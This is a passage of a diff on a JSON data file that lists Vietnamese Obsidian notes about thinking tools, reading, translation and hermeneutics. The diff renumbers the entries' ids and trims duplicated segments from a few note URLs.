nhật": "2023-10-06T09:09:00.000Z", - "id": "F7" + "id": "FJ" }, { "Tiêu đề": "Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta", @@ -15609,7 +15801,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T17:17:00.000Z", - "id": "F8" + "id": "FK" }, { "Tiêu đề": "Công cụ là sự nối dài của cơ thể", @@ -15625,7 +15817,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T15:18:00.000Z", - "id": "F9" + "id": "FL" }, { "Tiêu đề": "Công cụ nghĩ giúp ta có thể nghĩ tới những suy nghĩ khó nghĩ và bất khả nghĩ", @@ -15641,7 +15833,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-28T17:17:00.000Z", - "id": "FA" + "id": "FM" }, { "Tiêu đề": "Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc", @@ -15657,7 +15849,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:39:00.000Z", - "id": "FB" + "id": "FN" }, { "Tiêu đề": "Xây dựng hệ thống luôn là nhiệm vụ phụ", @@ -15673,7 +15865,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:52:00.000Z", - "id": "FC" + "id": "FO" }, { "Tiêu đề": "Đồ thị không phụ thuộc vào hướng. Bản đồ phụ thuộc vào hướng", @@ -15689,7 +15881,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-20T06:39:00.000Z", "Ngày cập nhật": "2024-08-02T08:37:00.000Z", - "id": "FD" + "id": "FP" }, { "Tiêu đề": "Explorable explanation phù hợp cho các trình bày liên quan chặt chẽ đến toán hơn", @@ -15705,7 +15897,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:38:00.000Z", - "id": "FE" + "id": "FQ" }, { "Tiêu đề": "Explorable explanation thiên về toán, còn data journalism thiên về thống kê dữ liệu", @@ -15721,7 +15913,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T06:13:00.000Z", - "id": "FF" + "id": "FR" }, { "Tiêu đề": "Hmm…Because…So now…", @@ -15737,7 +15929,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-30T07:46:00.000Z", "Ngày cập nhật": "2023-10-28T06:48:00.000Z", - "id": "FG" + "id": "FS" }, { "Tiêu đề": "Hành vi và phản ứng là những thứ native trong môi trường máy tính", @@ -15753,7 +15945,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:39:00.000Z", - "id": "FH" + "id": "FT" }, { "Tiêu đề": "Môi trường nghĩ là nơi ta có thể có những loại suy nghĩ mới, những suy nghĩ mà trước đây ta không thể hình thành", @@ -15769,11 +15961,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-24T07:29:00.000Z", - "id": "FI" + "id": "FU" }, { "Tiêu đề": "Môi trường nghĩ, nhận thức tăng cường", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Môi trường nghĩ, nhận thức tăng cường/Môi trường nghĩ, nhận thức tăng cường", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Môi trường nghĩ, nhận thức tăng cường", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -15786,7 +15978,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:57:00.000Z", - "id": "FJ" + "id": "FV" }, { "Tiêu đề": "Các bảng tin làm mình cảm giác ai cũng thấy giống mình", @@ -15802,7 +15994,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-06T08:15:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "FK" + "id": "FW" }, { "Tiêu đề": "Một môi trường nghĩ thực sự mới là nơi chỉ việc dùng nó thôi sẽ thay đổi cả cách nghĩ của toàn bộ một nền văn minh", @@ -15818,7 +16010,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-24T07:12:00.000Z", - "id": "FL" + "id": "FX" }, { "Tiêu đề": "Nghĩ về sự nghĩ làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm", @@ -15834,7 +16026,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-04T13:41:00.000Z", - "id": "FM" + "id": "FY" }, { "Tiêu đề": "Powerful medium enables powerful representations", @@ -15850,7 +16042,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:10:00.000Z", - "id": "FN" + "id": "FZ" }, { "Tiêu đề": "Thiết kế trải nghiệm người dùng", @@ -15866,7 +16058,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "FO" + "id": "Fa" }, { "Tiêu đề": "Thật khó để nghe thấy sự nghĩ của chính mình", @@ -15882,7 +16074,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-04T13:41:00.000Z", - "id": "FP" + "id": "Fb" }, { "Tiêu đề": "Việc dùng game hoá để giải thích có một bất lợi là các công ty làm game tập trung vào việc tạo ra game có tính giải trí hơn là việc giải thích", @@ -15898,7 +16090,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-08-14T17:17:00.000Z", "Ngày cập nhật": "2024-08-02T08:24:00.000Z", - "id": "FQ" + "id": "Fc" }, { "Tiêu đề": "Việc đơn giản hoá một khái niệm phức tạp để giải thích cho một đứa trẻ hiểu không làm cho đứa trẻ đó hiểu được hết khái niệm đó, nhưng làm cho bản thân người giải thích hiểu được thêm về khái niệm", @@ -15914,7 +16106,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-02T08:26:00.000Z", - "id": "FR" + "id": "Fd" }, { "Tiêu đề": "Dùng thuật ngữ chính xác hơn dùng từ bình dân, nhưng ngay cả chuyên gia cũng không phàn nàn về việc dùng từ bình dân, miễn là việc đó không tạo ra sự mơ hồ", @@ -15930,7 +16122,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-02T08:26:00.000Z", - "id": "FS" + "id": "Fe" }, { "Tiêu đề": "Collecting material feels more useful than it usually is", @@ -15946,7 +16138,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "FT" + "id": "Ff" }, { "Tiêu đề": "Cần những cách lưu dữ liệu khác nhau cho việc họp, nghiên cứu và quản lý dự án", @@ -15962,7 +16154,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "FU" + "id": "Fg" }, { "Tiêu đề": "Evergreen giúp tăng khả năng nhìn thấy được mâu thuẫn", @@ -15978,7 +16170,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "FV" + "id": "Fh" }, { "Tiêu đề": "Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác", @@ -15994,7 +16186,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "FW" + "id": "Fi" }, { "Tiêu đề": "Ghi chép tay creates a tactile information recall", @@ -16010,7 +16202,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-08-05T16:19:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "FX" + "id": "Fj" }, { "Tiêu đề": "Ghi chép thứ mình nhớ kém", @@ -16026,7 +16218,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-09T13:50:00.000Z", - "id": "FY" + "id": "Fk" }, { "Tiêu đề": "Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng", @@ -16042,7 +16234,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-02-09T06:07:00.000Z", - "id": "FZ" + "id": "Fl" }, { "Tiêu đề": "Khu vườn số luôn phát triển và thay đổi. Nó không bao giờ có trạng thái xong", @@ -16058,7 +16250,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Fa" + "id": "Fm" }, { "Tiêu đề": "Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó", @@ -16074,7 +16266,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-05T16:12:00.000Z", - "id": "Fb" + "id": "Fn" }, { "Tiêu đề": "Tiếng Anh càng làm mình muốn đọc lướt hơn", @@ -16090,7 +16282,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T04:32:00.000Z", "Ngày cập nhật": "2024-08-01T16:52:00.000Z", - "id": "Fc" + "id": "Fo" }, { "Tiêu đề": "Tóm tắt nội dung bài giảng, dùng bút đánh dấu đoạn văn bản quan trọng khi đọc sách, đọc đi đọc lại một chương sách hoá ra lại là những cách không mang lại mấy hiệu quả về ghi nhớ", @@ -16106,7 +16298,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-01T16:50:00.000Z", - "id": "Fd" + "id": "Fp" }, { "Tiêu đề": "Việc thu thập tài nguyên tạo cảm giác hữu ích hơn là thực sự hữu ích", @@ -16122,7 +16314,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:35:00.000Z", - "id": "Fe" + "id": "Fq" }, { "Tiêu đề": "Ý tưởng nếu không ghi lại ngay sẽ quên rất nhanh", @@ -16138,7 +16330,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-06T09:05:00.000Z", - "id": "Ff" + "id": "Fr" }, { "Tiêu đề": "Đọc lướt không giúp ta tiếp thu được gì cả", @@ -16154,7 +16346,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-01T17:03:00.000Z", - "id": "Fg" + "id": "Fs" }, { "Tiêu đề": "Giấy và bút không thể hiện hành vi của hệ thống đang được nghiên cứu", @@ -16170,7 +16362,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-20T17:43:00.000Z", - "id": "Fh" + "id": "Ft" }, { "Tiêu đề": "In nghiêng câu trích dẫn thay vì để vào trong ngoặc kép làm câu văn tự nhiên hơn", @@ -16186,7 +16378,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T15:41:00.000Z", - "id": "Fi" + "id": "Fu" }, { "Tiêu đề": "Một văn bản không nên chỉ là thứ để truyền đạt thông tin hay hiểu biết một chiều và thụ động, mà còn nên trở thành một sân chơi cho người đọc khám phá", @@ -16202,7 +16394,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-23T10:57:00.000Z", - "id": "Fj" + "id": "Fv" }, { "Tiêu đề": "Một văn bản không phải chỉ để truyền đạt thông tin hay hiểu biết, mà còn nên trở thành một sân chơi cho người đọc khám phá", @@ -16218,7 +16410,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-02T04:26:00.000Z", - "id": "Fk" + "id": "Fw" }, { "Tiêu đề": "Những câu trả lời luôn giả định người hỏi hiểu trước một vài khái niệm", @@ -16234,7 +16426,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T04:26:00.000Z", - "id": "Fl" + "id": "Fx" }, { "Tiêu đề": "Sách và bài giảng là những môi trường được thiết kế như thể người học hiểu hết hoàn toàn trong một lần tiếp thu, kể cả khi tác giả và giảng viên cũng không thực sự nghĩ vậy", @@ -16250,7 +16442,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T06:25:00.000Z", - "id": "Fm" + "id": "Fy" }, { "Tiêu đề": "Sự phát minh của việc viết phát minh ra việc lập luận", @@ -16266,7 +16458,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-21T08:39:00.000Z", - "id": "Fn" + "id": "Fz" }, { "Tiêu đề": "Sự phát minh ra ký hiệu phát minh ra toán học hiện đại", @@ -16282,7 +16474,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Fo" + "id": "F-" }, { "Tiêu đề": "Ta hiểu một đoạn 100 chữ nếu có không quá 3 từ không biết", @@ -16298,7 +16490,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-02T08:24:00.000Z", - "id": "Fp" + "id": "F_" }, { "Tiêu đề": "Ta không tận dụng hết được môi trường máy tính khi chỉ bắt chước môi trường giấy", @@ -16314,7 +16506,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Fq" + "id": "G0" }, { "Tiêu đề": "Tinh túy của một cuốn sách chính là mục lục của nó", @@ -16330,7 +16522,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-01T16:51:00.000Z", - "id": "Fr" + "id": "G1" }, { "Tiêu đề": "Viết cho phép ta nghĩ về sự nghĩ", @@ -16346,7 +16538,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-21T08:39:00.000Z", - "id": "Fs" + "id": "G2" }, { "Tiêu đề": "Viết làm suy nghĩ không còn là vô hình", @@ -16362,7 +16554,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-22T09:46:00.000Z", - "id": "Ft" + "id": "G3" }, { "Tiêu đề": "Việc rút gọn cả bài thành câu tóm tắt chỉ có tác dụng khi mình hiểu dược những khái niệm quan trọng trong bài", @@ -16378,7 +16570,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-29T09:13:00.000Z", "Ngày cập nhật": "2023-12-02T03:44:00.000Z", - "id": "Fu" + "id": "G4" }, { "Tiêu đề": "Đọc một bài viết sâu làm ta biết mình cần phải làm gì nhiều hơn là đọc một bài viết nông", @@ -16394,7 +16586,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-10T14:42:00.000Z", - "id": "Fv" + "id": "G5" }, { "Tiêu đề": "Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách", @@ -16410,7 +16602,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Fw" + "id": "G6" }, { "Tiêu đề": "Đồ thị giúp ta thấy được mẫu hình", @@ -16426,7 +16618,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-10T14:51:00.000Z", "Ngày cập nhật": "2024-08-02T08:42:00.000Z", - "id": "Fx" + "id": "G7" }, { "Tiêu đề": "❓Môi trường nghĩ giúp ta hiểu được những thứ phi tuyến bằng việc tuyến tính hoá nó, còn công nghệ là thứ khiến ta làm được những thứ phi tuyến kể cả khi mình không thoát khỏi sự tuyến tính", @@ -16442,11 +16634,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-24T07:30:00.000Z", - "id": "Fy" + "id": "G8" }, { "Tiêu đề": "Nghĩ về việc nghĩ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Nghĩ về việc nghĩ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -16458,7 +16650,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-14T07:25:00.000Z", "Ngày cập nhật": "2023-11-14T07:25:00.000Z", - "id": "Fz" + "id": "G9" }, { "Tiêu đề": "Dịch thoát giúp người nghe không chướng tai, nhưng làm mất cơ hội để họ thấy sự khác biệt trong cách tư duy ở nguyên ngữ", @@ -16474,7 +16666,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-21T06:47:00.000Z", "Ngày cập nhật": "2023-11-28T08:24:00.000Z", - "id": "F-" + "id": "GA" }, { "Tiêu đề": "Luyện tiếng Anh", @@ -16490,7 +16682,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T07:30:00.000Z", - "id": "F_" + "id": "GB" }, { "Tiêu đề": "Để dịch một khái niệm, hãy vét cạn các nét nghĩa, các cách dùng, các cách hiểu về nó, rồi tìm những từ chứa đựng được càng nhiều nét nghĩa càng tốt", @@ -16506,7 +16698,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-21T07:21:00.000Z", "Ngày cập nhật": "2024-08-02T09:28:00.000Z", - "id": "G0" + "id": "GC" }, { "Tiêu đề": "Quy trình xử lý dữ liệu cho PKM và phát triển sản phẩm là giống nhau, nhưng từ dữ liệu ra insight rồi làm gì với insight đó là khác nhau", @@ -16522,7 +16714,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-09T18:11:00.000Z", "Ngày cập nhật": "2024-01-07T13:27:00.000Z", - "id": "G1" + "id": "GD" }, { "Tiêu đề": "Ta cần lý do để người khác muốn đáp ứng nhu cầu của ta", @@ -16538,7 +16730,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-29T12:07:00.000Z", - "id": "G2" + "id": "GE" }, { "Tiêu đề": "Khi hành động của một người được tạo bởi thiên kiến, ta thường nói là nó phi lý. Khi một đồ vật được tạo bởi thiên kiến, ta thường bảo rằng nó trung lập", @@ -16554,7 +16746,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-07-26T06:19:00.000Z", "Ngày cập nhật": "2024-07-26T07:39:00.000Z", - "id": "G3" + "id": "GF" }, { "Tiêu đề": "Khi sử dụng công nghệ, ta không nghĩ là nó sẽ thay đổi bản thân mình", @@ -16570,7 +16762,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-05T10:22:00.000Z", - "id": "G4" + "id": "GG" }, { "Tiêu đề": "Một dụng cụ có sự lý tính rất rõ ràng", @@ -16586,11 +16778,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-26T07:40:00.000Z", - "id": "G5" + "id": "GH" }, { "Tiêu đề": "Triết học công nghệ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Triết học công nghệ/Triết học công nghệ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Triết học công nghệ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -16602,7 +16794,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-27T05:48:00.000Z", - "id": "G6" + "id": "GI" }, { "Tiêu đề": "Trong khi khoa học thường đi liền với công nghệ, triết học khoa học thường nói về chân lý, còn triết học công nghệ thường nói về đạo đức", @@ -16618,7 +16810,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-26T07:35:00.000Z", - "id": "G7" + "id": "GJ" }, { "Tiêu đề": "Tìm hiểu lý do làm nhức đầu", @@ -16634,7 +16826,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-29T12:07:00.000Z", - "id": "G8" + "id": "GK" }, { "Tiêu đề": "❓Bản đồ là cách để ta biết mình cần gì khi còn chưa cảm nhận được thứ mình cần là gì", @@ -16650,7 +16842,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-03-16T07:36:00.000Z", "Ngày cập nhật": "2024-08-03T07:51:00.000Z", - "id": "G9" + "id": "GL" }, { "Tiêu đề": "❓Essence có phải là sự trừu tượng hoá không?", @@ -16666,7 +16858,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GA" + "id": "GM" }, { "Tiêu đề": "Có những thứ mà kể cả phỏng vấn cũng không dự đoán được", @@ -16682,7 +16874,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-23T13:08:00.000Z", - "id": "GB" + "id": "GN" }, { "Tiêu đề": "Chú giải ban đầu là để hiểu lời của thượng đế, nhưng sau đó lại biến thành người có góc nhìn của thượng đế", @@ -16698,7 +16890,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GC" + "id": "GO" }, { "Tiêu đề": "Diễn giải văn bản không phải là sự đối thoại do nó không phụ thuộc vào việc có mặt của người nói", @@ -16714,7 +16906,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T04:28:00.000Z", - "id": "GD" + "id": "GP" }, { "Tiêu đề": "Hermes vốn chỉ là người đưa thư chứ không giải thích, diễn giải gì cả", @@ -16730,7 +16922,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GE" + "id": "GQ" }, { "Tiêu đề": "Khi người quan sát có sự kết nối với nhân vật nào, thì những nhân vật khác sẽ trở thành nền cho nhân vật đó", @@ -16746,7 +16938,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-23T06:51:00.000Z", - "id": "GF" + "id": "GR" }, { "Tiêu đề": "Khi người quan sát có sự kết nối với nhân vật nào, thì những nhân vật khác sẽ", @@ -16762,7 +16954,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GG" + "id": "GS" }, { "Tiêu đề": "Khi nhà nghiên cứu chú giải văn bản, họ kiến tạo ra đồng tác giả cho mình", @@ -16778,7 +16970,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-10T08:02:00.000Z", - "id": "GH" + "id": "GT" }, { "Tiêu đề": "Không giống như diễn ngôn, văn bản có thể dịch chuyển được", @@ -16794,7 +16986,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-25T08:04:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GI" + "id": "GU" }, { "Tiêu đề": "Mỗi xã hội chứa đựng những cách diễn giải của riêng nó. Công việc của nhà nhân học là học cách bước vào những cách diễn giải đó", @@ -16810,7 +17002,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GJ" + "id": "GV" }, { "Tiêu đề": "Người làm nhân học kết nối với lý thuyết nhiều hơn, còn nhà báo tường thuật sự kiện nhiều hơn", @@ -16826,7 +17018,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T13:43:00.000Z", - "id": "GK" + "id": "GW" }, { "Tiêu đề": "Người đọc là người chú giải", @@ -16842,7 +17034,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-18T13:34:00.000Z", "Ngày cập nhật": "2023-10-09T14:04:00.000Z", - "id": "GL" + "id": "GX" }, { "Tiêu đề": "Những từ sử dụng trong viết lách điền dã nhân học không thể được coi là một độc thoại", @@ -16858,7 +17050,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-17T08:51:00.000Z", - "id": "GM" + "id": "GY" }, { "Tiêu đề": "Một phần quan trọng của sự kiến tạo cuộc đá gà thành một văn bản là một quá trình hội thoại và đối mặt với một số người Bali chứ không phải là việc đọc và diễn giải văn hóa đằng sau lưng họ", @@ -16874,7 +17066,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T04:30:00.000Z", - "id": "GN" + "id": "GZ" }, { "Tiêu đề": "Sự kiểm soát của người bản xứ đối với những kiến thức có được trong quá trình thực địa là khá đáng kể, và thậm chí là có tính quyết định", @@ -16890,7 +17082,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T05:37:00.000Z", - "id": "GO" + "id": "Ga" }, { "Tiêu đề": "Thông diễn học bắt nguồn từ việc chú giải kinh thánh", @@ -16906,7 +17098,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-12T13:25:00.000Z", - "id": "GP" + "id": "Gb" }, { "Tiêu đề": "Tính một chiều của dân học diễn giải nằm ở chỗ chỉ diễn giải văn hóa bản địa chứ không diễn giải văn hóa của nhà nghiên cứu", @@ -16922,7 +17114,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:10:00.000Z", - "id": "GQ" + "id": "Gc" }, { "Tiêu đề": "Việc đọc là sự gặp gỡ, giao thoa của thế giới của văn bản và thế giới của người đọc", @@ -16938,7 +17130,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T04:26:00.000Z", - "id": "GR" + "id": "Gd" }, { "Tiêu đề": "Văn hoá là một tập hợp các văn bản", @@ -16954,7 +17146,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T08:15:00.000Z", - "id": "GS" + "id": "Ge" }, { "Tiêu đề": "Để có thể diễn giải thì việc tiên quyết là phải văn bản hoá, nghĩa là tách những hành vi, câu nói, niềm tin, lễ nghi, truyền thống, v.v. ra khỏi diễn ngôn", @@ -16970,7 +17162,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "GT" + "id": "Gf" }, { "Tiêu đề": "Khi nhà nghiên cứu xem mình là người đọc và chú giải văn bản, họ bóc tách các lớp để tạo ra một văn bản mới. Khi họ xem mình là đưa thư, họ kết nối những văn bản để tạo ra văn bản mới", @@ -16986,7 +17178,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-18T13:36:00.000Z", "Ngày cập nhật": "2023-10-12T13:43:00.000Z", - "id": "GU" + "id": "Gg" }, { "Tiêu đề": "Trải nghiệm, diễn giải, đối thoại, đa thanh là những mô thức về tính uy 